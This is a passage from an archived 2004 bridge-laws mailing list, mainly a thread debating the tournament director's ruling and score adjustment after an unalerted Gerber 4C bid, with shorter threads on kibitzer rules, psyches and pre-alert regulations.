Bidding > >> W N E S > >> 1S 3H 4C P > >> 4H P 5C 5H > >> 5NT P 6NT Dbl > >> All Pass > >> > >> Before any lead is made South asks for an explanation of the = bidding. > >> 4C was Gerber and not alerted. 5NT according to West 1 king = according > to > >> East > >> 2 Kings. > >> > >> South calls the TD and says that the 4C's was not alerted and wants = to > >> reserve > >> his rights. Result 6NT* making on a D/C squeeze. > >> > >> South calls the TD back and says if 4C was alerted he would have = bid > 5H's. > >> South stated He also would not have doubled 6NT if he had known = clubs > was > >> artifical. > >> > >> > >> Your ruling and please state your exact score adjustment (if any). > > > >There are a few funny things here but first of all: > >In Norway the 4C bid is not to be alerted (as it is above 3NT). >=20 > If you were directing in Ireland I really think you should direct > according to Irish regulations. Since 4C is alertable in Ireland, and = I > presume this occurred there, it is more helpful to assume for the > purposes of ruling that 4C would be alertable if it is not natural. Of course. But I had no knowledge of where this occurred or what alert regulations were in force so I found it most correct to make my own background clear before commenting on anything. I believe you have consistently made a point of stating all relevant conditions (including jurisdiction) before presenting or commenting on a problem?=20 >=20 > >How come South asked questions before any lead was made? He seems to = me > to > >be way out of turn as the opening lead is with North? (Or did North = in > fact > >make his opening lead face down before South started asking = questions?) >=20 > On the other hand I agree with this. However, I doubt it affected > anything. If there was misinformation and damage was claimed in the > bidding South's later failure to follow correct procedure should make > him subject to a short lecture but would not affect any adjustment. Probably it does not affect anything, but it was one of the = circumstances that just might affect the impression the Director got of the case. I = would want to know before ruling anything. =20 > >I shall want to know what was declared (on the CC or similar) for = East- > West > >relevant for understanding their 4C bid. I shall want to know what = South > had > >reason to believe was the meaning of the 4C bid and why he did not = ask a > >general question on the auction before passing the 4C bid. >=20 > When you play in a jurisdiction where 4C is alertable unless it is > natural, and someone bids 4C in a situation where most people play 4C = as > natural, I think it very reasonable to take an unalerted 4C as natural > without need to ask. Now here we have an important point, and I wonder if our practice in = Norway seriously differs from other areas: As a general rule we do not normally offer or grant redress for damage = on the ground that a call was (incorrectly) not alerted if the call itself = has been properly described on the front page of the CC. We rule that = opponents have a duty to make themselves acquainted with whatever is written here. (What is written inside is a different story). >=20 > >And my general impression is that South knew (post mortem) very well = what > he > >would have done, but frankly I don't buy his story. I would consult = with > my > >co-directors and unless finding myself in minority would let the = result > >stand. >=20 > Consulting is very good, of course, but I think your approach is a = bit > harsh. Are you sure you are not overly affected by the fact that the > alerting regs are different from Norway? Yes, definitely. But I am generally rather (some might say "too much") = alert on players who try a double shot, and this case looks to me very much = like one. If South had a general reason (in addition to the missing alert) for believing that the 4C bid was natural I trust him, but where are his = values for doubling 6NT? And when he says that had he known 4C to be conventional he would have = bid 5H right away, can that be anything else than a sacrificing pre-empt? = Does he really believe that 6NT goes down after such an auction? I do wonder what South believed was going on between East and West when = he heard the 4C bid? My ruling will to a great extent be depending upon the impression I get of his ideas at that time. I smelt a rat, but before ruling in an actual event I would as I said consult my co-directors what they smelt. (This is by the way standard procedure for Directors in Norway; we never make a judgment ruling = without consulting each other unless we are alone on the job). Regards Sven From jrhind@therock.bm Wed Mar 31 14:29:55 2004 From: jrhind@therock.bm (Jack A. Rhind) Date: Wed, 31 Mar 2004 09:29:55 -0400 Subject: [blml] 12c3 In-Reply-To: <406aaaab.3fa3.0@esatclear.ie> Message-ID: I would allow the table result to stand, as I do not see an indication that the NOS has been damaged. I would also consider penalizing EW for failure to alert if they are a partnership with experience. Regards, Jack Rhind On 3/31/04 7:25 AM, "Karel" wrote: > Pairs E/W Vul > Dealer West > > S KT9 > H JT9xxx > D x > C xxxx > West East > S QJ87xx S Axx > H Kx H Ax > D xx D AKJTxx > C AQ9 C Jx > > S x > H Qxx > D Qxxx > C KT8xx > Bidding > W N E S > 1S 3H 4C P > 4H P 5C 5H > 5NT P 6NT Dbl > All Pass > > Before any lead is made South asks for an explanation of the bidding. > 4C was Gerber and not alerted. 5NT according to West 1 king according to East > 2 Kings. > > South calls the TD and says that the 4C's was not alerted and wants to reserve > his rights. Result 6NT* making on a D/C squeeze. > > South calls the TD back and says if 4C was alerted he would have bid 5H's. > South stated He also would not have doubled 6NT if he had known clubs was > artifical. > > > Your ruling and please state your exact score adjustment (if any). > > K. > -- > http://www.iol.ie > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml From cibor@poczta.fm Wed Mar 31 18:38:50 2004 From: cibor@poczta.fm (Konrad Ciborowski) Date: Wed, 31 Mar 2004 10:38:50 -0700 Subject: [blml] 12c3 References: <406aaaab.3fa3.0@esatclear.ie> Message-ID: <007401c41747$b9ee3710$532846a2@ams.com> ----- Original Message ----- From: "Karel" To: "blml" Sent: Wednesday, March 31, 2004 4:25 AM Subject: [blml] 12c3 > Pairs E/W Vul > Dealer West > > S KT9 > H JT9xxx > D x > C xxxx > West East > S QJ87xx S Axx > H Kx H Ax > D xx D AKJTxx > C AQ9 C Jx > > S x > H Qxx > D Qxxx > C KT8xx > Bidding > W N E S > 1S 3H 4C P > 4H P 5C 5H > 5NT P 6NT Dbl > All Pass Was there an infracion? Yes, it was. Were NS damaged? Yes, they were. Was there a connection between these two? Yes, it was - I have no doubt that South wouldn't have doubled 6NT had he known that the club bids were artificial. Was the double of 6NT irrational, wild or gambling? No, it wasn't - it might not be the best bridge but I wouldn't call it ridiculous - the opponents might be in a good contract but they don't know that the breaks are bad - why not cash out? So I would probably rule 6NT made undoubled - but I cannot as there are 14 clubs on the diagram - I'd like it clarified before I go on. Konrad Ciborowski Krakow, Poland (temp. in Denver, CO) From wayne.burrows@xtra.co.nz Wed Mar 31 21:54:31 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Thu, 1 Apr 2004 08:54:31 +1200 Subject: [blml] Kibitzer Regulations Message-ID: <001701c41762$5df46c70$1e2e56d2@Desktop> Hi Where would I find regulations regarding kibitzers? In particular I am interested in the right of a player to have a kibitzer removed. TIA Wayne From siegmund@mosquitonet.com Wed Mar 31 21:35:34 2004 From: siegmund@mosquitonet.com (Gordon Bower) Date: Wed, 31 Mar 2004 11:35:34 -0900 (AKST) Subject: [blml] 12c3 In-Reply-To: <406aaaab.3fa3.0@esatclear.ie> Message-ID: On Wed, 31 Mar 2004, Karel wrote: [They bid Gerber and didn't alert and reached 6NTx+6] > > South calls the TD back and says if 4C was alerted he would have bid 5H's. > South stated He also would not have doubled 6NT if he had known clubs was artifical. > > Your ruling and please state your exact score adjustment (if any). Double is more appealing if you are sitting behind a club suit. I am satisfied that after a timely alert that there would either be no lead-directing double or it would be done by doubling one of the Gerber bids: so, 6NT undoubled. The claim that South would have jumped to 5H is something I'd want to probe in a bit more detail before taking it at face value, but if South is convincing, I'll give him 6S undoubled. That could be a big ten points in pairs. I didn't feel any urge to assign a split or weighted score. I'm intrigued that out of a dozen responses so far to a thread title "L12C3," no-one has jumped on the bandwagon and used that law for their assignment:) GRB From mfrench1@san.rr.com Wed Mar 31 22:22:04 2004 From: mfrench1@san.rr.com (Marvin French) Date: Wed, 31 Mar 2004 13:22:04 -0800 Subject: [blml] Kibitzer Regulations References: <001701c41762$5df46c70$1e2e56d2@Desktop> Message-ID: <002201c41766$380b8a80$6401a8c0@san.rr.com> From: "Wayne Burrows" > > Where would I find regulations regarding kibitzers? > > In particular I am interested in the right of a player to have a > kibitzer removed. > Here is the ACBL regulation: Barring Kibitzers No player has the right to bar all kibitzers from his table, but each player has the right to bar one individual (excluding tournament officials, the recorder or his designee(s), or officially approved members of the press) from kibitzing play at his table during a session without assigning cause. (A traveling player may bar only one individual during a session without assigning cause). Any kibitzer may be barred for cause by the Tournament Director. Marv Marvin L. French San Diego, California From blml@blakjak.com Wed Mar 31 22:24:04 2004 From: blml@blakjak.com (David Stevenson) Date: Wed, 31 Mar 2004 22:24:04 +0100 Subject: [blml] 12c3 In-Reply-To: <000001c41742$94c64a40$6900a8c0@WINXP> References: <000001c41742$94c64a40$6900a8c0@WINXP> Message-ID: Sven Pran wrote >> David Stevenson >> Sven Pran wrote >> >> Karel >> >> Sent: 31. mars 2004 13:26 >> >> To: blml >> >> Subject: [blml] 12c3 >> >> >> >> Pairs E/W Vul >> >> Dealer West >> >> >> >> S KT9 >> >> H JT9xxx >> >> D x >> >> C xxxx >> >> West East >> >> S QJ87xx S Axx >> >> H Kx H Ax >> >> D xx D AKJTxx >> >> C AQ9 C Jx >> >> >> >> S x >> >> H Qxx >> >> D Qxxx >> >> C KT8xx >> >> Bidding >> >> W N E S >> >> 1S 3H 4C P >> >> 4H P 5C 5H >> >> 5NT P 6NT Dbl >> >> All Pass >> >> >> >> Before any lead is made South asks for an explanation of the bidding. >> >> 4C was Gerber and not alerted. 5NT according to West 1 king according >> to >> >> East >> >> 2 Kings. >> >> >> >> South calls the TD and says that the 4C's was not alerted and wants to >> >> reserve >> >> his rights. Result 6NT* making on a D/C squeeze. >> >> >> >> South calls the TD back and says if 4C was alerted he would have bid >> 5H's. >> >> South stated He also would not have doubled 6NT if he had known clubs >> was >> >> artifical. >> >> >> >> >> >> Your ruling and please state your exact score adjustment (if any). >> > >> >There are a few funny things here but first of all: >> >In Norway the 4C bid is not to be alerted (as it is above 3NT). >> >> If you were directing in Ireland I really think you should direct >> according to Irish regulations. Since 4C is alertable in Ireland, and I >> presume this occurred there, it is more helpful to assume for the >> purposes of ruling that 4C would be alertable if it is not natural. > >Of course. But I had no knowledge of where this occurred or what alert >regulations were in force so I found it most correct to make my own >background clear before commenting on anything. I believe you have >consistently made a point of stating all relevant conditions (including >jurisdiction) before presenting or commenting on a problem? > >> >> >How come South asked questions before any lead was made? He seems to me >> to >> >be way out of turn as the opening lead is with North? (Or did North in >> fact >> >make his opening lead face down before South started asking questions?) >> >> On the other hand I agree with this. However, I doubt it affected >> anything. If there was misinformation and damage was claimed in the >> bidding South's later failure to follow correct procedure should make >> him subject to a short lecture but would not affect any adjustment. > >Probably it does not affect anything, but it was one of the circumstances >that just might affect the impression the Director got of the case. I would >want to know before ruling anything. > >> >I shall want to know what was declared (on the CC or similar) for East- >> West >> >relevant for understanding their 4C bid. I shall want to know what South >> had >> >reason to believe was the meaning of the 4C bid and why he did not ask a >> >general question on the auction before passing the 4C bid. >> >> When you play in a jurisdiction where 4C is alertable unless it is >> natural, and someone bids 4C in a situation where most people play 4C as >> natural, I think it very reasonable to take an unalerted 4C as natural >> without need to ask. > >Now here we have an important point, and I wonder if our practice in Norway >seriously differs from other areas: > >As a general rule we do not normally offer or grant redress for damage on >the ground that a call was (incorrectly) not alerted if the call itself has >been properly described on the front page of the CC. We rule that opponents >have a duty to make themselves acquainted with whatever is written here. >(What is written inside is a different story). I find this strange, but of course accept that. However, two points: I doubt that it is so in Ireland - it certainly wasn't mentioned in the regs I was reading the other day. Let us just suppose for one moment that we were in Norway. Would you expect to find the meaning of a 4C bid over competition on the front of a Norwegian CC? It seems unlikely. >> >And my general impression is that South knew (post mortem) very well what >> he >> >would have done, but frankly I don't buy his story. I would consult with >> my >> >co-directors and unless finding myself in minority would let the result >> >stand. >> >> Consulting is very good, of course, but I think your approach is a bit >> harsh. Are you sure you are not overly affected by the fact that the >> alerting regs are different from Norway? > >Yes, definitely. But I am generally rather (some might say "too much") alert >on players who try a double shot, and this case looks to me very much like >one. > >If South had a general reason (in addition to the missing alert) for >believing that the 4C bid was natural I trust him, but where are his values >for doubling 6NT? > >And when he says that had he known 4C to be conventional he would have bid >5H right away, can that be anything else than a sacrificing pre-empt? Does >he really believe that 6NT goes down after such an auction? I would be pretty hopeful myself. I have KTxxx in a suit bid and rebid on my right, and if I double 6NT partner will presumably lead it. The whole case smacks to me of damage: I really cannot see any sign whatever of a double shot. >I do wonder what South believed was going on between East and West when he >heard the 4C bid? My ruling will to a great extent be depending upon the >impression I get of his ideas at that time. "Good: my clubs are over theirs." Why should he think anything else? >I smelt a rat, but before ruling in an actual event I would as I said >consult my co-directors what they smelt. (This is by the way standard >procedure for Directors in Norway; we never make a judgment ruling without >consulting each other unless we are alone on the job). Of course when alone on the job you have to consult a player or by telephone. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Wed Mar 31 22:27:20 2004 From: blml@blakjak.com (David Stevenson) Date: Wed, 31 Mar 2004 22:27:20 +0100 Subject: [blml] Kibitzer Regulations In-Reply-To: <001701c41762$5df46c70$1e2e56d2@Desktop> References: <001701c41762$5df46c70$1e2e56d2@Desktop> Message-ID: Wayne Burrows wrote >Where would I find regulations regarding kibitzers? > >In particular I am interested in the right of a player to have a >kibitzer removed. > >TIA Regulations are local, so perhaps for you the answer would be the NZCBA site? -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From svenpran@online.no Wed Mar 31 22:28:15 2004 From: svenpran@online.no (Sven Pran) Date: Wed, 31 Mar 2004 23:28:15 +0200 Subject: [blml] Kibitzer Regulations In-Reply-To: <001701c41762$5df46c70$1e2e56d2@Desktop> Message-ID: <000001c41767$13ed5dd0$6900a8c0@WINXP> > Wayne Burrows > Hi > > Where would I find regulations regarding kibitzers? Law 76 > In particular I am interested in the right of a player to have a > kibitzer removed. Search through the regulations applicable in your area. The laws contain no explicit rule to that effect. However, a spectator that violates Law 76 should be removed by the Director at the request of a player. Regards Sven From svenpran@online.no Wed Mar 31 22:30:03 2004 From: svenpran@online.no (Sven Pran) Date: Wed, 31 Mar 2004 23:30:03 +0200 Subject: [blml] 12c3 In-Reply-To: Message-ID: <000101c41767$546f57f0$6900a8c0@WINXP> > Gordon Bower > On Wed, 31 Mar 2004, Karel wrote: >=20 > [They bid Gerber and didn't alert and reached 6NTx+6] > > > > South calls the TD back and says if 4C was alerted he would have bid > 5H's. > > South stated He also would not have doubled 6NT if he had known = clubs > was artifical. > > > > Your ruling and please state your exact score adjustment (if any). >=20 > Double is more appealing if you are sitting behind a club suit. I am > satisfied that after a timely alert that there would either be no > lead-directing double or it would be done by doubling one of the = Gerber > bids: so, 6NT undoubled. >=20 > The claim that South would have jumped to 5H is something I'd want to > probe in a bit more detail before taking it at face value, but if = South is > convincing, I'll give him 6S undoubled. That could be a big ten points = in > pairs. >=20 > I didn't feel any urge to assign a split or weighted score. I'm = intrigued > that out of a dozen responses so far to a thread title "L12C3," no-one = has > jumped on the bandwagon and used that law for their assignment:) >=20 > GRB Why should anyone? Regards Sven From richard.hills@immi.gov.au Wed Mar 31 22:34:59 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 1 Apr 2004 07:34:59 +1000 Subject: [blml] Duties of a non-playing captain Message-ID: The final draft of an ABF regulation on the duties of a non-playing captain is at URL: http://www.abf.com.au/events/playoffs/NPCDuties.pdf Best wishes Richard James Hills -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From richard.hills@immi.gov.au Wed Mar 31 22:38:19 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 1 Apr 2004 07:38:19 +1000 Subject: [blml] Common-format Recording of Partnership Methods Message-ID: See Lee Edwards' "Bridge Convention Card Editors" website, at URL: http://webpages.charter.net/ledwards1/ Best wishes Richard James Hills -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From svenpran@online.no Wed Mar 31 22:58:58 2004 From: svenpran@online.no (Sven Pran) Date: Wed, 31 Mar 2004 23:58:58 +0200 Subject: [blml] 12c3 In-Reply-To: Message-ID: <000001c4176b$5e3b7170$6900a8c0@WINXP> > David Stevenson ......... > >As a general rule we do not normally offer or grant redress for = damage on > >the ground that a call was (incorrectly) not alerted if the call = itself > has > >been properly described on the front page of the CC. We rule that > opponents > >have a duty to make themselves acquainted with whatever is written = here. > >(What is written inside is a different story). >=20 > I find this strange, but of course accept that. However, two = points: > I doubt that it is so in Ireland - it certainly wasn't mentioned in = the > regs I was reading the other day. >=20 > Let us just suppose for one moment that we were in Norway. Would = you > expect to find the meaning of a 4C bid over competition on the front = of > a Norwegian CC? It seems unlikely. I agree it could be unlikely, but I don't want to discover after having = made my ruling that I would have discovered something relevant had I = inspected the CC first. >=20 > >> >And my general impression is that South knew (post mortem) very = well > what > >> he > >> >would have done, but frankly I don't buy his story. I would = consult > with > >> my > >> >co-directors and unless finding myself in minority would let the > result > >> >stand. > >> > >> Consulting is very good, of course, but I think your approach is = a > bit > >> harsh. Are you sure you are not overly affected by the fact that = the > >> alerting regs are different from Norway? > > > >Yes, definitely. But I am generally rather (some might say "too = much") > alert > >on players who try a double shot, and this case looks to me very much > like > >one. > > > >If South had a general reason (in addition to the missing alert) for > >believing that the 4C bid was natural I trust him, but where are his > values > >for doubling 6NT? > > > >And when he says that had he known 4C to be conventional he would = have > bid > >5H right away, can that be anything else than a sacrificing pre-empt? > Does > >he really believe that 6NT goes down after such an auction? >=20 > I would be pretty hopeful myself. I have KTxxx in a suit bid and > rebid on my right, and if I double 6NT partner will presumably lead = it. >=20 > The whole case smacks to me of damage: I really cannot see any sign > whatever of a double shot. >=20 > >I do wonder what South believed was going on between East and West = when > he > >heard the 4C bid? My ruling will to a great extent be depending upon = the > >impression I get of his ideas at that time. >=20 > "Good: my clubs are over theirs." Why should he think anything = else? >=20 I am never happy with players who "regret" their double after they see = the contract made and at that time claim redress for damage, instead of informing the Director when he was summoned to the table in the first = place that he had doubled the contract on false premises.=20 If South really felt that way when learning that the club bids were both artificial he had every reason to (quietly) inform the Director (alone) = of this fact instead of just "reserving his rights" - what rights? It was of course too late for South to retract his double under law 21B1 = (as North had subsequently passed), but South would have had much more credibility with me had he told me (privately) that he would not have doubled had he known. > >I smelt a rat, but before ruling in an actual event I would as I said > >consult my co-directors what they smelt. (This is by the way standard > >procedure for Directors in Norway; we never make a judgment ruling > without > >consulting each other unless we are alone on the job). >=20 > Of course when alone on the job you have to consult a player or by > telephone. No, when alone on the job I make my rulings on my own. Sven From henk@amsterdamned.org Wed Mar 31 23:00:01 2004 From: henk@amsterdamned.org (Henk Uijterwaal) Date: Thu, 01 Apr 2004 00:00:01 +0200 Subject: [blml] Usenet bridge abbreviations Message-ID: (Automated, regular posting) Usenet Bridge Abbreviations ABF Australian Bridge Federation AC Appeals committee ACBL American Contract Bridge League AI Authorised information ArtAS Artificial adjusted score AssAS Assigned adjusted score ATF Across-the-field [matchpointing] ATTNA Appeal to the National Authority BBL British Bridge League [now defunct] BGB Bridge Great Britain BIT Break in Tempo BLML Bridge-laws mailing list BoD Board of directors [ACBL] BoG Board of governors [ACBL] BOOT Bid-Out-Of-Turn CD Convention Disruption C&E Conduct and ethics [often hearings] CC Convention card CHO Center Hand Opponent [ie partner] CoC Conditions of contest COOT Call-Out-Of-Turn CoP Code of practice CPU Concealed partnership understanding CTD Chief Tournament director DBF Danish Bridge Federation DIC Director in charge DP Disciplinary penalty EBL European Bridge League EBU English Bridge Union EHAA Every Hand an Adventure [a system] F2F Face-to-face [to distinguish from Online bridge] FOLOOT Faced Opening-Lead-Out-Of-Turn GCC General Convention Chart [ACBL] HUM Highly Unusual Method IB Insufficient Bid IBLF International Bridge Laws Forum LA Logical alternative L&EC Laws & Ethics Committee [English, Welsh or Scottish] LHO Left hand Opponent Lnn Law number nn LOL Little old lady [may be of either sex] LOOT Lead-Out-Of-Turn MB Misbid ME Misexplanation MI Misinformation MPC Major penalty card mPC Minor penalty card MSC Master Solvers' Club [The Bridge World] NA National Authority NABC ACBL North American Bridge Championships NBB Nederlandse Bridge Bond [Dutch Bridge League] NBO National Bridge organisation NCBO National Contract Bridge organisation NIBU Northern Ireland Bridge Union NO Non-offender NOs Non-offenders NOS Non-offending side OBM Old Black Magic OBOOT Opening-Bid-Out-Of-Turn OKB OKBridge OLB Online bridge [to distinguish from Face-to-face bridge] OLOOT Opening-Lead-Out-Of-Turn OOT Out-Of-Turn Os Offenders OS Offending side pd Partner PLOOT Play-Out-Of-Turn POOT Pass-Out-Of-Turn PP Procedural penalty RA Regulating Authority RGB rec.games.bridge [newsgroup] RGBO rec.games.bridge.okbridge [newsgroup] RHO Right Hand Opponent RLB Real Life Bridge [to distinguish from Online bridge] RoC Rule of coincidence RoW Rest of World [apart from North America] RTFLB Read the [fabulous] Law book! SBU Scottish Bridge Union SO Sponsoring organisation TBW The Bridge World [magazine] TD Tournament director TDic Tournament director in charge TFLB The [fabulous] Law book! UI Unauthorised information WBF World Bridge Federation WBFLC WBF Laws Committee WBU Welsh Bridge Union YC Young Chelsea ZO Zonal organisation ZT Zero Tolerance [for unacceptable behaviour] Hand diagrams: *3m 3C or 3D [minor] *3M 3H or 3S [Major] ..3H 3H after a hesitation 3H! 3H alerted The above may also be found on David Stevenson's Bridgepage at http://blakjak.com/usenet_br.htm From grandeval@vejez.fsnet.co.uk Wed Mar 31 22:58:25 2004 From: grandeval@vejez.fsnet.co.uk (grandeval) Date: Wed, 31 Mar 2004 22:58:25 +0100 Subject: [blml] Psyches References: <89FD2BC254969C4297E82458BB279900FA3490@exchange.idrettsforbundet.no> Message-ID: <013d01c4176b$8a785d20$b11d883e@4nrw70j> Grattan Endicott To: "blml" Sent: Tuesday, March 30, 2004 1:37 PM Subject: SV: [blml] Psyches ----- > Then it's got nothing to do with psyching, it's a CPU. > That's an infraction. A psyche is not. >> +=+ Just once in a while a nugget of gold appears amongst the sludge and the slurry. I have had the advantage of complete (enforced) absence from the internet for some sixty hours. Upon re-establishing one of the two connections that failed (the gesta PC is still off air), I have collected nearly 300 emails. Much of it apparently a confusing debate on psyches. I offer a couple of thoughts, or maybe three. In the first place, the illegality may be a CPU or a PU not disclosed. Alternatively it may be a PU, disclosed or not, which contravenes a regulation. Such regulation may be a Systems Policy item controlling agreements where the call is an initial action that may be made on a hand of seven HCP or fewer. So, yes, the illegality is not the psyche itself. That being said, it is open to the regulating authority to specify the grounds of evidence by which a Director may identify a CPU or other illegality. The (criticized) EBU regulation is designed to do exactly that. At international level written advice is not generally given, but this does not mean that the Directors do not practice a similar methodology in determining the existence of a CPU. They may view the evidence as it appears to them. The action of the responder is often a key indication. And as they view it they may act. ~ Grattan ~ +=+ From richard.hills@immi.gov.au Wed Mar 31 23:02:53 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 1 Apr 2004 08:02:53 +1000 Subject: [blml] Viking's Dawn (was 12c3) Message-ID: Sven Pran wonders: >Now here we have an important point, and I wonder >if our practice in Norway seriously differs from >other areas: > >As a general rule we do not normally offer or >grant redress for damage on the ground that a >call was (incorrectly) not alerted if the call >itself has been properly described on the front >page of the CC. We rule that opponents have a >duty to make themselves acquainted with whatever >is written here. (What is written inside is a >different story). ABF Pre-Alert reg seriously differs: "....These should appear on your system card, but should also be verbally pre-alerted." Best wishes Richard James Hills -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From svenpran@online.no Wed Mar 31 23:34:08 2004 From: svenpran@online.no (Sven Pran) Date: Thu, 1 Apr 2004 00:34:08 +0200 Subject: [blml] Viking's Dawn (was 12c3) In-Reply-To: Message-ID: <000001c41770$48559200$6900a8c0@WINXP> > richard.hills@immi.gov.au > Sven Pran wonders: >=20 > >Now here we have an important point, and I wonder > >if our practice in Norway seriously differs from > >other areas: > > > >As a general rule we do not normally offer or > >grant redress for damage on the ground that a > >call was (incorrectly) not alerted if the call > >itself has been properly described on the front > >page of the CC. We rule that opponents have a > >duty to make themselves acquainted with whatever > >is written here. (What is written inside is a > >different story). >=20 > ABF Pre-Alert reg seriously differs: >=20 > "....These should appear on your system card, but > should also be verbally pre-alerted." I remember being somewhat astonished first time I learned about = pre-alerts and "announce" (I believe that was the term). We have no such thing in Norway and I imagine one reason could be that = we do not fancy players reminding their partners of their agreements without = being asked by opponents (during the auction). In fact it is illegal here to = say anything related to partnership agreements (except by answering = questions from opponents) during the auction period as defined in Law 17. = Similarly a player is not allowed during this period to consult his own CC for any purpose.=20 For instance I use the "multi 2D" opening with some, but not with all my partners and I would certainly not feel comfortable if I were to = pre-alert that bid. IMO it would be an unethical means to remember with which = partners I use this bid and when not. The same applies to reminding my partner whenever I open 1NT: (Remember that our 1NT opening bids are) 15-17 or = for partner to "remind" me by announcing "transfer" with his 2D response. Regards Sven From blml@blakjak.com Wed Mar 31 23:38:32 2004 From: blml@blakjak.com (David Stevenson) Date: Wed, 31 Mar 2004 23:38:32 +0100 Subject: [blml] 12c3 In-Reply-To: <000001c4176b$5e3b7170$6900a8c0@WINXP> References: <000001c4176b$5e3b7170$6900a8c0@WINXP> Message-ID: Sven Pran wrote >> David Stevenson >> Of course when alone on the job you have to consult a player or by >> telephone. > >No, when alone on the job I make my rulings on my own. I am afraid I find that horrifying. Suppose you overlook something? -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Wed Mar 31 23:40:15 2004 From: blml@blakjak.com (David Stevenson) Date: Wed, 31 Mar 2004 23:40:15 +0100 Subject: [blml] 12c3 In-Reply-To: <000101c41767$546f57f0$6900a8c0@WINXP> References: <000101c41767$546f57f0$6900a8c0@WINXP> Message-ID: Sven Pran wrote >> Gordon Bower >> On Wed, 31 Mar 2004, Karel wrote: >> >> [They bid Gerber and didn't alert and reached 6NTx+6] >> > >> > South calls the TD back and says if 4C was alerted he would have bid >> 5H's. >> > South stated He also would not have doubled 6NT if he had known clubs >> was artifical. >> > >> > Your ruling and please state your exact score adjustment (if any). >> >> Double is more appealing if you are sitting behind a club suit. I am >> satisfied that after a timely alert that there would either be no >> lead-directing double or it would be done by doubling one of the Gerber >> bids: so, 6NT undoubled. >> >> The claim that South would have jumped to 5H is something I'd want to >> probe in a bit more detail before taking it at face value, but if South is >> convincing, I'll give him 6S undoubled. That could be a big ten points in >> pairs. >> >> I didn't feel any urge to assign a split or weighted score. I'm intrigued >> that out of a dozen responses so far to a thread title "L12C3," no-one has >> jumped on the bandwagon and used that law for their assignment:) >> >> GRB > >Why should anyone? I have not made my mind up as to how much damage or what. But if I feel that the comment about 5H is reasonable as to damage then L12C3 becomes an obvious approach. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From richard.hills@immi.gov.au Wed Mar 31 23:40:18 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 1 Apr 2004 08:40:18 +1000 Subject: [blml] How Law 25B is not to be used Message-ID: Matchpoint pairs, Dlr: E, Vul: NS You, South, hold: J3 T92 J76432 A4 The bidding has gone: WEST NORTH EAST SOUTH --- --- 1NT(1) Pass 2C(2) Pass Pass ? (1) 11-14 balanced (2) Break in tempo, simple Stayman East is a blmler who has memorised their rights under Law 25B. What call do you make? How quickly do you make it? Best wishes Richard James Hills -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From richard.hills@immi.gov.au Wed Mar 31 23:53:59 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 1 Apr 2004 08:53:59 +1000 Subject: [blml] Moving the goalposts (was Psyches) Message-ID: [snip] >Is something wrong with this idea? > >ton RJH responds: WBF Code of Practice version of Gresham's Law: "Bad terminology discourages Lawful actions." With the loose terminological use of "psychic" on page 8 of the CoP to refer to *both* Lawful psychic calls *and* unLawful pseudo-psychic partnership understandings, the WBF is (in my opinion) creating an impression that Lawful psychic calls are tinged with bad ethics, and should be avoided by right- thinking people. Fortunately, I am a left-thinking person. :-) Best wishes Richard James Hills -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your 